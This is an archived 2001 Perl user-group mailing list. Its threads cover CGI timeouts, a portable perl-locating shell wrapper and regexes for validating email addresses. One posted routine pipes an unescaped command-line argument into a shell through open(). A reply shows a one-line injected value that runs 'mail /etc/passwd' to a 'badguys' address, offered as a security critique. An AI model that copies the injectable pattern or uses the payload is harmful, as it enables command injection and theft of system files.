From chuckphillips at mac.com Fri Nov 2 14:12:42 2001 From: chuckphillips at mac.com (Chuck Phillips) Date: Thu Aug 5 00:20:29 2004 Subject: a script running a script Message-ID: ~sdpm~ Hello Mongers, The problem: I have a CGI script for the administration of a website that, when clicked, does a ton of stuff in the background for a ton of users. The problem is that now that after a certain number of users were added the script takes so long to finish what it's doing that the admin user's browser times out. My ideas: I tried the following: have the admin script execute another script in the background and then write a script to grep for the process so that the user can run that to check to see if it is done running. So far running the script on the command line works fine. But putting the same command w/in back ticks in my perl script doesn't seem to work. (will system() work?) `./build_clearances.pl &`; Any Thoughts? Thanks again, Chuck P.S. cron job won't work because the script must execute when the user wants to run it which could be any time. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Fri Nov 2 15:55:44 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:29 2004 Subject: a script running a script In-Reply-To: Message-ID: ~sdpm~ Several possible solutions to investigate. Cron the script to run every minute and check for a certain file which can contain the intstuctions on what to do. fork & exec. Have the script output text as it goes along so the browser doesn't give up on it (I think most browsers quit after N seconds of no activity from the network). On Fri, 2 Nov 2001, Chuck Phillips wrote: > ~sdpm~ > Hello Mongers, > > The problem: > > I have a CGI script for the administration of a website that, when > clicked, does a ton of stuff in the background for a ton of users. The > problem is that now that after a certain number of users were added the > script takes so long to finish what it's doing that the admin user's > browser times out. > > My ideas: > > I tried the following: > > have the admin script execute another script in the background and then > write a script to grep for the process so that the user can run that to > check to see if it is done running. > > So far running the script on the command line works fine. But putting > the same command w/in back ticks in my perl script doesn't seem to work. > (will system() work?) > > `./build_clearances.pl &`; > > Any Thoughts? > > Thanks again, > Chuck > > P.S. cron job won't work because the script must execute when the user > wants to run it which could be any time. > > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. > > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From jeff at soapzone.com Fri Nov 2 16:08:42 2001 From: jeff at soapzone.com (Jeff Jungblut) Date: Thu Aug 5 00:20:29 2004 Subject: a script running a script Message-ID: ~sdpm~ on 11/2/01 12:12 PM, Chuck Phillips at chuckphillips@mac.com wrote: > I have a CGI script for the administration of a website that, when > clicked, does a ton of stuff in the background for a ton of users. The > problem is that now that after a certain number of users were added the > script takes so long to finish what it's doing that the admin user's > browser times out. I used to have this problem; I don't believe it's the browser timing out but the server timing out waiting for output from the CGI script and closing the connection. Try making the script a non-parsed-header script that continually flushes its output. Add "nph-" to the beginning of the script name and set $| = 1 at the beginning of the script. In nph- scripts, you'll need to send additional headers that the server normally generates for you. Here's the function I use. sub OutputHTTPHeader { if (!($httpHeaderSent)) { # don't send it more than once if (($ENV{'SCRIPT_NAME'} =~ /nph-/ )) { $rightNow = &GetDateGMT(time,' '); $headerToSend .= "HTTP/1.1 200 OK\n"; $headerToSend .= "Date: $rightNow\n"; $headerToSend .= "Server: $ENV{'SERVER_SOFTWARE'}\n"; $headerToSend .= "Connection: close\n"; } if ($sendCookie) { &SetCookie; } $headerToSend .= "Content-Type: text/html\n\n"; print "$headerToSend"; $httpHeaderSent = 1; } } -- Jeff Jungblut jeff@soapzone.com http://soapzone.com/ ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Mon Nov 12 20:31:05 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:29 2004 Subject: Meeting Wed Message-ID: ~sdpm~ Just a reminder everyone we are having our monthly meeting this Wed. Aside from the new time (one week early), it's also at a new place (http://www.technicaltrainingresources.com/directions/dir.htm). Check the website (http://SanDiego.pm.org/) for all the details or contact me. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From faqchest at abac.com Thu Nov 15 09:51:17 2001 From: faqchest at abac.com (The FAQchest) Date: Thu Aug 5 00:20:29 2004 Subject: Exemple shell script to wrap PERL Message-ID: <3BF3E475.6A19EDD4@abac.com> Hi fellows, During last night's meeting, Joel asked for a way to universally determine the absolute path to PERL in order to create a generic PERL script that would run as CGI on a large variety of systems, of course with various PERL installations. Here is a sample script. Let us know if it works well on your architecture. Thierry PS: The new location for the meeting is awesome. Thanks! -------------- next part -------------- A non-text attachment was scrubbed... Name: prshwrap.sh Type: application/x-sh Size: 948 bytes Desc: Unknown Document Url : http://mail.pm.org/archives/san-diego-pm/attachments/20011115/82de531b/prshwrap.sh From faqchest at abac.com Thu Nov 15 10:14:09 2001 From: faqchest at abac.com (The FAQchest) Date: Thu Aug 5 00:20:29 2004 Subject: ... the script Message-ID: <3BF3E9D0.9C589135@abac.com> ~sdpm~ Mmm!, The attachment didn't made it. Let's see if inline it doesn't get damage by the line wrapping. Thierry (thierryv@abac.com). ------------------------------------------------------- #!/bin/sh # PATH=${PATH}:/bin:/usr/bin/:/usr/local/bin:/opt/perl5/bin:/usr/5bin:/usr/sbin:/usr/ucb user_id=`id | sed -e 's/uid=//' | sed -e 's/(.*$//'` if [ $# -ne 0 ]; then if [ $1 -eq '-noroot' ]; then user_id=0 fi fi if [ $user_id -eq 0 ]; then echo 'Content-Type: text/plain; charset=iso-8859-1' echo '' echo "Sorry, you can not be running as 'root' in order to run this script." echo exit fi perl_loc=`which perl | grep perl | sed -e 's,/perl,,'` current_dir=`pwd` if [ ! -x $perl_loc/perl ]; then echo 'Content-Type: text/plain; charset=iso-8859-1' echo '' echo "Error, can not locate 'perl' to run this script." echo exit fi chmod +x $perl_loc/perl eval "exec $perl_loc/perl -x $0 $*" #!perl ## Everything below is a perl script. ## The preceding line tells perl -x ## where to start reading code. umask 022; $| = 1; print STDOUT "Content-Type: text/plain; charset=iso-8859-1\n\n"; print STDOUT "Yup\n"; ## The rest of your script goes here ## END ------------------------------------------------------- ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From faqchest at abac.com Thu Nov 15 10:47:41 2001 From: faqchest at abac.com (The FAQchest) Date: Thu Aug 5 00:20:29 2004 Subject: ... the script (v1.2) Message-ID: <3BF3F1AC.7DD07BF9@abac.com> ~sdpm~ Tsss. I grabbed the wrong one! The original stuff I had was from a package installer that was providing its own copy of PERL, plus was accepting command line args. In a CGI, you don't need that. You may also add the the PATH whatever locations you've found PERL installed on your target systems. ############################################################ #!/bin/sh # PATH=${PATH}:/bin:/usr/bin/:/opt/perl5/bin:/usr/local/bin:/usr/5bin:/usr/sbin:/usr/ucb user_id=`id | sed -e 's/uid=//' | sed -e 's/(.*$//'` if [ $user_id -eq 0 ]; then echo 'Content-Type: text/plain; charset=iso-8859-1' echo '' echo "Sorry, you can not be running as 'root' in order to run this script." echo exit fi perl_loc=`which perl | grep perl | sed -e 's,/perl,,'` if [ ! -x $perl_loc/perl ]; then echo 'Content-Type: text/plain; charset=iso-8859-1' echo '' echo "Error, can not locate 'perl' to run this script." echo exit fi # Switching to PERL starting from here ## eval "exec $perl_loc/perl -x $0 $*" #!perl ## Everything below is a perl script. The preceding line tells perl -x ## where to start reading code. umask 022; select STDOUT; $| = 1; print STDOUT "Content-Type: text/plain; charset=iso-8859-1\n\n"; print STDOUT "Yup\n"; ## The rest of your script goes here ## END ############################################################ ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From Doug_Wilson at intuit.com Thu Nov 15 10:59:04 2001 From: Doug_Wilson at intuit.com (Wilson, Doug) Date: Thu Aug 5 00:20:29 2004 Subject: Exemple shell script to wrap PERL Message-ID: <35A280DF784CD411A06B0008C7B130AD0115DDFD@sdex04.sd.intuit.com> ~sdpm~ > From: The FAQchest [mailto:faqchest@abac.com] > > During last night's meeting, Joel asked for a way to universally > determine the absolute path to PERL in order to create a generic PERL > script that would run as CGI on a large variety of systems, of course > with various PERL installations. > > Here is a sample script. Let us know if it works well on your > architecture. I'd change one thing, this line: perl_loc=`which perl | grep perl | sed -e 's,/perl,,'` wouldn't work for perls installed in /opt/perl5/bin, or for me either because I have perl installed in a really strange place that has '/perl' in the middle of the path, so I'd change that to: perl_loc=`which perl | grep perl | sed -e 's,/perl$,,'` And on one system I've seen, 'which' was spelled 'whence' (don't ask me which one, I don't remember (and its rather uncommon anyway) :) > PS: The new location for the meeting is awesome. Thanks! I agree :-) -Doug ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From KLoomis at bigplanet.com Thu Nov 15 16:02:42 2001 From: KLoomis at bigplanet.com (Ken Loomis) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE Message-ID: <3BF43B84.27FC68DA@BigPlanet.com> Once again this week I was called in as an emergency substitute for a Perl class. Though I am no expert on Regular Expressions, I decided to tackle it. As a learning exercise I had the class develop an RE to validate email addresses. Not too original I guess, but at least they could all understand the need for doing that. We started with this as the simplest test: if ($email =~ /.*\@.*/) { print "$email is a good email address !\n"; else { print "$email is NOT a good email address !\n"; } Then we repeatedly tested this with an invalid email address and if our routine certified it as a good address, we added or modified the RE to catch that case. We ended up with this: if ($email =~ /^[a-zA-Z0-9][a-zA-Z0-9_.-]*@([a-zA-Z0-9][a-zA-Z0-9_-]*[a-zA-Z0-9]|[a-zA-Z0-9][[a-zA-Z0-9_-]*\.[a-zA-Z0-9]*]*[a-zA-Z0-9]|[a-zA-Z0-9])\.\w\w\w$/) { print "$email is a good email address !\n"; else { print "$email is NOT a good email address !\n"; } I told them that even though it seemed to work in all the cases we could think of, there was probably a more elegant way to do it. We looked on the Internet and found a few suggested examples, but none seemed to be a robust as what we had created. It seemed our biggest challenge was to allow an email that looked like this: myname@financial.yahoo.com but not validate: myname@financial..yahoo.com We figured out a way to do it using extra non-RE tests, but since this was a lesson in RE's, we wanted to see if there were a way to do it all with one RE. I told them that I would ask this email list for help or suggestions. If anyone can offer suggestions we would greatly appreciate your input. Thanks, Ken Loomis -------------- next part -------------- A non-text attachment was scrubbed... Name: KLoomis.vcf Type: text/x-vcard Size: 435 bytes Desc: Card for Ken Loomis Url : http://mail.pm.org/archives/san-diego-pm/attachments/20011115/ec1b3978/KLoomis.vcf From schoon at amgt.com Thu Nov 15 16:59:50 2001 From: schoon at amgt.com (Mark Schoonover) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE Message-ID: ~sdpm~ Ken, Check out the Owl book - Mastering RE form O'reilly. They have your answer in appendix B... FYI - it's 6,598 char long! .mark -----Original Message----- From: Ken Loomis [mailto:KLoomis@bigplanet.com] Sent: Thursday, November 15, 2001 2:03 PM To: san-diego-pm-list@happyfunball.pm.org Subject: Email Validator RE Once again this week I was called in as an emergency substitute for a Perl class. Though I am no expert on Regular Expressions, I decided to tackle it. As a learning exercise I had the class develop an RE to validate email addresses. Not too original I guess, but at least they could all understand the need for doing that. We started with this as the simplest test: if ($email =~ /.*\@.*/) { print "$email is a good email address !\n"; else { print "$email is NOT a good email address !\n"; } Then we repeatedly tested this with an invalid email address and if our routine certified it as a good address, we added or modified the RE to catch that case. We ended up with this: if ($email =~ /^[a-zA-Z0-9][a-zA-Z0-9_.-]*@([a-zA-Z0-9][a-zA-Z0-9_-]*[a-zA-Z0-9]|[a-zA-Z0- 9][[a-zA-Z0-9_-]*\.[a-zA-Z0-9]*]*[a-zA-Z0-9]|[a-zA-Z0-9])\.\w\w\w$/) { print "$email is a good email address !\n"; else { print "$email is NOT a good email address !\n"; } I told them that even though it seemed to work in all the cases we could think of, there was probably a more elegant way to do it. We looked on the Internet and found a few suggested examples, but none seemed to be a robust as what we had created. It seemed our biggest challenge was to allow an email that looked like this: myname@financial.yahoo.com but not validate: myname@financial..yahoo.com We figured out a way to do it using extra non-RE tests, but since this was a lesson in RE's, we wanted to see if there were a way to do it all with one RE. I told them that I would ask this email list for help or suggestions. If anyone can offer suggestions we would greatly appreciate your input. Thanks, Ken Loomis ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Thu Nov 15 16:56:06 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE In-Reply-To: <3BF43B84.27FC68DA@BigPlanet.com> Message-ID: ~sdpm~ Your current pattern will not allow matches to something like "person@demon.co.uk". There is a monster pattern match at the end of the O'Reilly book "Mastering Regular Expressions" (the owl book). That's alwyas been the definitive one for me. http://www.oreilly.com/catalog/regex/ http://examples.oreilly.com/regex/readme.html But if you wanted something reasonable, try this: ^[^\W_][\w.-]*\@([^\W_]+([.-]?[^\W_]+)*)+\.[^\W_]{2,4}$ Or the commented variety: Which would allow email addr's from .uk, .com, and .info through. BTW, I don't believe an underscore is allowed in an email address, and it's definitely not allowed in a domain. On Thu, 15 Nov 2001, Ken Loomis wrote: > Once again this week I was called in as an emergency substitute for a > Perl class. Though I am no expert on Regular Expressions, I decided to > tackle it. > > As a learning exercise I had the class develop an RE to validate email > addresses. Not too original I guess, but at least they could all > understand the need for doing that. > > We started with this as the simplest test: > > if ($email =~ /.*\@.*/) { > print "$email is a good email address !\n"; > else { > print "$email is NOT a good email address !\n"; > } > > Then we repeatedly tested this with an invalid email address and if our > routine certified it as a good address, we added or modified the RE to > catch that case. > > We ended up with this: > > if ($email =~ > /^[a-zA-Z0-9][a-zA-Z0-9_.-]*@([a-zA-Z0-9][a-zA-Z0-9_-]*[a-zA-Z0-9]|[a-zA-Z0-9][[a-zA-Z0-9_-]*\.[a-zA-Z0-9]*]*[a-zA-Z0-9]|[a-zA-Z0-9])\.\w\w\w$/) > > { > print "$email is a good email address !\n"; > else { > print "$email is NOT a good email address !\n"; > } > > I told them that even though it seemed to work in all the cases we could > think of, there was probably a more elegant way to do it. We looked on > the Internet and found a few suggested examples, but none seemed to be a > robust as what we had created. > > It seemed our biggest challenge was to allow an email that looked like > this: > > myname@financial.yahoo.com > > but not validate: > > myname@financial..yahoo.com > > We figured out a way to do it using extra non-RE tests, but since this > was a lesson in RE's, we wanted to see if there were a way to do it all > with one RE. > > I told them that I would ask this email list for help or suggestions. If > anyone can offer suggestions we would greatly appreciate your input. > > > Thanks, > Ken Loomis > > > > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Thu Nov 15 17:11:11 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE Message-ID: <01Nov15.151847pst.118083@gateway.ontogen.com> ~sdpm~ I have had the following two email addresses for quite some time, and they both work well: todd_rockhold@hotmail.com todd_rockhold@yahoo.com -----Original Message----- From: Bob Kleemann [mailto:rkleeman@energoncube.net] Sent: Thursday, November 15, 2001 2:56 PM To: Ken Loomis Cc: san-diego-pm-list@happyfunball.pm.org Subject: Re: Email Validator RE [snip] BTW, I don't believe an underscore is allowed in an email address, and it's definitely not allowed in a domain. [snip] ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From brick at fastpack.com Thu Nov 15 17:27:44 2001 From: brick at fastpack.com (Brick Robbins) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE In-Reply-To: Message-ID: <4.3.2.7.2.20011115152338.01dd3dd0@216.122.113.27> ~sdpm~ I use this subroutine. It checks for Valid Top Level Domains (including the new ones), and makes sure domain names only contain valid characters Stuff to the right of the @ may contain only alphanumeric, the dash and the dot [\w\-\.] Stuff to the left of the @ can contain any 7bit ASCII characters except space ################################################# sub emailIsValid { my $email = $_[0]; ($email =~ m/\s/) && return 0; #no blank spaces allowed in address if ($email =~ m/\.com$/i || #check for valid "non-country" TLDs $email =~ m/\.edu$/i || # (ones longer than 2 letters) $email =~ m/\.net$/i || $email =~ m/\.org$/i || $email =~ m/\.gov$/i || $email =~ m/\.mil$/i || $email =~ m/\.aero$/i || $email =~ m/\.biz$/i || $email =~ m/\.coop$/i || $email =~ m/\.info$/i || $email =~ m/\.museum$/i || $email =~ m/\.name$/i || $email =~ m/\.pro$/i ) { ($email =~ m/^.+\@[\w\-\.]+\.\w{3,6}$/) && return 1; } ($email =~ m/^.+\@[\w\-\.]+\.\w\w$/) && return 1; #valid 2 letter TLD return 0; } ###################################### -- Brick Robbins mailto:brick@fastpack.com ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From Doug_Wilson at intuit.com Thu Nov 15 17:53:07 2001 From: Doug_Wilson at intuit.com (Wilson, Doug) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE Message-ID: <35A280DF784CD411A06B0008C7B130AD0115DE00@sdex04.sd.intuit.com> ~sdpm~ > From: Ken Loomis [mailto:KLoomis@bigplanet.com] > As a learning exercise I had the class develop an RE to validate email > addresses. Not too original I guess, but at least they could all > understand the need for doing that. That's a FAQ, you know from perlfaq9 ('perldoc perlfaq9' or 'perldoc -q address'). There's also Email::Valid (which relies on Mail::Address) and RFC::RFC822 (which uses Parse::RecDescent). Neither relies on a single regex, but the FAQ tells you where you can find one. -Doug ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From faqchest at abac.com Sat Nov 17 01:08:09 2001 From: faqchest at abac.com (The FAQchest) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE References: <3BF43B84.27FC68DA@BigPlanet.com> Message-ID: <3BF60CDA.B1325E6D@abac.com> ~sdpm~ Here is the routine that I use on the FAQchest to parse out individuals e-mail addresses, but those of the mailing list administrativia. Actually you can play with it, posting messages to the list with some e-mail addresses and see how they get cleaned up -Thierry $username = '[\w-_]+(\.[\w-_]+)*'; $hostname = '[\w-]+(\.[\w-]+)+'; $email = "$username\@$hostname"; $zebigexclude = 'listserv|majordomo|listproc|almanac|mailman|lists|-list|-admin|-help|-owner|digest|abuse|request|subscribe|info\@'; # ------------------------------------------------------------- # write new page elements with e-mail address filtered out sub page_body { my $line; my $lbodyflg = 0; foreach $line (@pagecore) { $line =~ /Stop FAQCHEST_AA/ && ( $lbodyflg = 0 ); $line =~ /Start FAQCHEST_AA/ && ( $lbodyflg++ ); if ($lbodyflg) { if ($line =~ /($email)/) { if ($1 !~ /$zebigexclude/i) { $line =~ s/$email/\[PRIVACY PROTECTION\]/g; } } $lbodyflg++ } print FILE "$line"; } return 1; } Ken Loomis wrote: > > As a learning exercise I had the class develop an RE to validate email > addresses. Not too original I guess, but at least they could all > understand the need for doing that. > > We started with this as the simplest test: > > if ($email =~ /.*\@.*/) { > print "$email is a good email address !\n"; > else { > print "$email is NOT a good email address !\n"; > } > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From faqchest at abac.com Sat Nov 17 01:11:39 2001 From: faqchest at abac.com (The FAQchest) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE References: <3BF43B84.27FC68DA@BigPlanet.com> Message-ID: <3BF60DAC.5B3904A3@abac.com> ~sdpm~ Ken, here is an excerpt of a script doing at one time some mail notification. I've adopted a paranoid approach each time I have to deal with system or apps call using an open () command. I enclose the whole routine in an eval{}. If the mail server (MTA) has whatsoever troubles (most of the time network/DNS) and crahes, the calling script doesn't die, just the eval. In more secured scripts, I use an alarm signal to include some timeout control on this IO. You see there are a certain numer of regexp to make sure tha e-mail addresses are ok. Thierry sub clearspaces { return (0) unless (my ($instr) = @_); $instr =~ s,^[ \t\f]+,,; $instr =~ s,[ \t\f\r]+\n$,,; $instr =~ s,[ \t\f]+, ,g; return $instr; } sub mail_notification { print "Trying to mail the commit message ...\n"; return (0) unless (my @text = @_); my $emregexp = '([\w-_.]+)@(([\w-_]+[.])+[a-zA-Z]+[ ,]?)'; my $subject = &clearspaces ("cvs commit: $ARGV[0]"); my $mailto = &clearspaces ($MAIL_TO); $mailto =~ s/[\s]+/,/g; $mailto =~ s,\\,,g; $mailto =~ tr/A-Z/a-z/; return (0) unless ($mailto =~ /^($emregexp)+$/); print " ... Done mailing the message ...\n"; eval { # don't let the main apps crashing on this IO open (MAIL, "| $MLISTAPPL -s \"$subject\" $mailto") || return (0); print (MAIL join("\n", @text)); close (MAIL); } } Ken Loomis wrote: > > Once again this week I was called in as an emergency substitute for a > Perl class. Though I am no expert on Regular Expressions, I decided to > tackle it. > > As a learning exercise I had the class develop an RE to validate email > addresses. Not too original I guess, but at least they could all > understand the need for doing that. > > We started with this as the simplest test: > > if ($email =~ /.*\@.*/) { > print "$email is a good email address !\n"; > else { > print "$email is NOT a good email address !\n"; > } > > Then we repeatedly tested this with an invalid email address and if our > routine certified it as a good address, we added or modified the RE to > catch that case. > > We ended up with this: > > if ($email =~ > /^[a-zA-Z0-9][a-zA-Z0-9_.-]*@([a-zA-Z0-9][a-zA-Z0-9_-]*[a-zA-Z0-9]|[a-zA-Z0-9][[a-zA-Z0-9_-]*\.[a-zA-Z0-9]*]*[a-zA-Z0-9]|[a-zA-Z0-9])\.\w\w\w$/) > > { > print "$email is a good email address !\n"; > else { > print "$email is NOT a good email address !\n"; > } > > I told them that even though it seemed to work in all the cases we could > think of, there was probably a more elegant way to do it. We looked on > the Internet and found a few suggested examples, but none seemed to be a > robust as what we had created. > > It seemed our biggest challenge was to allow an email that looked like > this: > > myname@financial.yahoo.com > > but not validate: > > myname@financial..yahoo.com > > We figured out a way to do it using extra non-RE tests, but since this > was a lesson in RE's, we wanted to see if there were a way to do it all > with one RE. > > I told them that I would ask this email list for help or suggestions. If > anyone can offer suggestions we would greatly appreciate your input. > > Thanks, > Ken Loomis ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From faqchest at abac.com Sat Nov 17 01:12:48 2001 From: faqchest at abac.com (The FAQchest) Date: Thu Aug 5 00:20:29 2004 Subject: Exemple shell script to wrap PERL References: <35A280DF784CD411A06B0008C7B130AD0115DDFD@sdex04.sd.intuit.com> Message-ID: <3BF60DF0.94B91F90@abac.com> ~sdpm~ "Wilson, Doug" wrote: > > ~sdpm~ > > > From: The FAQchest [mailto:faqchest@abac.com] > > > > During last night's meeting, Joel asked for a way to universally > > determine the absolute path to PERL in order to create a generic PERL > > script that would run as CGI on a large variety of systems, of course > > with various PERL installations. > > > > Here is a sample script. Let us know if it works well on your > > architecture. > > I'd change one thing, this line: > perl_loc=`which perl | grep perl | sed -e 's,/perl,,'` > > wouldn't work for perls installed in /opt/perl5/bin, or > for me either because I have perl installed in a really > strange place that has '/perl' in the middle of the > path, so I'd change that to: > perl_loc=`which perl | grep perl | sed -e 's,/perl$,,'` Actually you're totally right. Let's go for it. Indeed, I've added /opt/perl5/bin for the HPUX implementations. I don't have a SunOS system at hand right now. SunOS also uses a /opt partition. Perl may be found here too. > And on one system I've seen, 'which' was spelled 'whence' (don't > ask me which one, I don't remember (and its rather uncommon > anyway) :) whence is also used in HPUX. I have a vague souvenir of either one (type,which,whence) being in fact an alias to one other with a switch. I'll check on Monday. -Thierry > > > PS: The new location for the meeting is awesome. Thanks! > > I agree :-) > > -Doug ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From eugene at securityarchitects.com Sat Nov 17 11:10:50 2001 From: eugene at securityarchitects.com (Eugene Tsyrklevich) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE In-Reply-To: <3BF60DAC.5B3904A3@abac.com>; from faqchest@abac.com on Fri, Nov 16, 2001 at 11:11:39PM -0800 References: <3BF43B84.27FC68DA@BigPlanet.com> <3BF60DAC.5B3904A3@abac.com> Message-ID: <20011117091050.A6381@securityarchitects.com> ~sdpm~ and how about $ARGV[0] = "oops\" dev\@null.com; mail /etc/passwd me\@badguys.com;\""; On Fri, Nov 16, 2001 at 11:11:39PM -0800, The FAQchest wrote: > Ken, here is an excerpt of a script doing at one time some mail notification. > > I've adopted a paranoid approach each time I have to deal with system or > apps call using an open () command. I enclose the whole routine in an > eval{}. If the mail server (MTA) has whatsoever troubles (most of the > time network/DNS) and crahes, the calling script doesn't die, just the eval. > > In more secured scripts, I use an alarm signal to include some timeout > control on this IO. > > You see there are a certain numer of regexp to make sure tha e-mail > addresses are ok. > > Thierry > > > > sub clearspaces { > return (0) unless (my ($instr) = @_); > $instr =~ s,^[ \t\f]+,,; > $instr =~ s,[ \t\f\r]+\n$,,; > $instr =~ s,[ \t\f]+, ,g; > return $instr; > } > > sub mail_notification { > print "Trying to mail the commit message ...\n"; > return (0) unless (my @text = @_); > > my $emregexp = '([\w-_.]+)@(([\w-_]+[.])+[a-zA-Z]+[ ,]?)'; > my $subject = &clearspaces ("cvs commit: $ARGV[0]"); > my $mailto = &clearspaces ($MAIL_TO); > $mailto =~ s/[\s]+/,/g; > $mailto =~ s,\\,,g; > $mailto =~ tr/A-Z/a-z/; > return (0) unless ($mailto =~ /^($emregexp)+$/); > print " ... Done mailing the message ...\n"; > > eval { # don't let the main apps crashing on this IO > open (MAIL, "| $MLISTAPPL -s \"$subject\" $mailto") || return (0); > print (MAIL join("\n", @text)); > close (MAIL); > } > } ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From chris at velocigen.com Sat Nov 17 13:22:13 2001 From: chris at velocigen.com (Chris Radcliff) Date: Thu Aug 5 00:20:29 2004 Subject: Email Validator RE References: <3BF43B84.27FC68DA@BigPlanet.com> <3BF60DAC.5B3904A3@abac.com> <20011117091050.A6381@securityarchitects.com> Message-ID: <3BF6B8E5.5070306@velocigen.com> 